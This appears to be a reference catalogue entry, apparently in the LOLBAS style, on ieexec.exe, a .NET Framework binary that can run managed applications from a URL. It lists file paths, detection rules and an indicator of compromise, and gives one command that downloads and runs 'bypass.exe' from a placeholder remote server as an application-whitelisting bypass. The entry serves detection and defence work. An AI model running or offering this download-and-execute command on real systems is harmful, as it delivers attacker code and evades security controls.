



/ieexec.exe

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The IEExec.exe application is an undocumented Microsoft .NET Framework application that is included with the .NET Framework. You can use the IEExec.exe application as a host to run other managed applications that you start by using a URL.

Paths:

C:\Windows\Microsoft.NET\Framework\v2.0.50727\ieexec.exe
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\ieexec.exe

Resources:

- <https://room362.com/post/2014/2014-01-16-application-whitelist-bypass-using-ieexec-dot-exe/>

Acknowledgements:

- Casey Smith ([@subtee](#))

Detections:

- Sigma: [proc_creation_win_lolbin_ieexec_download.yml](#)
- Elastic: [defense_evasion_unusual_process_network_connection.toml](#)
- Elastic: [defense_evasion_misc_lolbin_connecting_to_the_internet.toml](#)
- Elastic: [defense_evasion_network_connection_from_windows_binary.toml](#)
- IOC: Network connections originating from ieexec.exe may be suspicious

Download

Downloads and executes bypass.exe from the remote server.

```
ieexec.exe http://x.x.x.x:8080/bypass.exe
```

Use case: Download and run attacker code from remote location
Privileges required: User
Operating systems: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
ATT&CK® technique: [T1105: Ingress Tool Transfer](#)

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ATT&CK® technique: [T1218: System Binary Proxy Execution](#)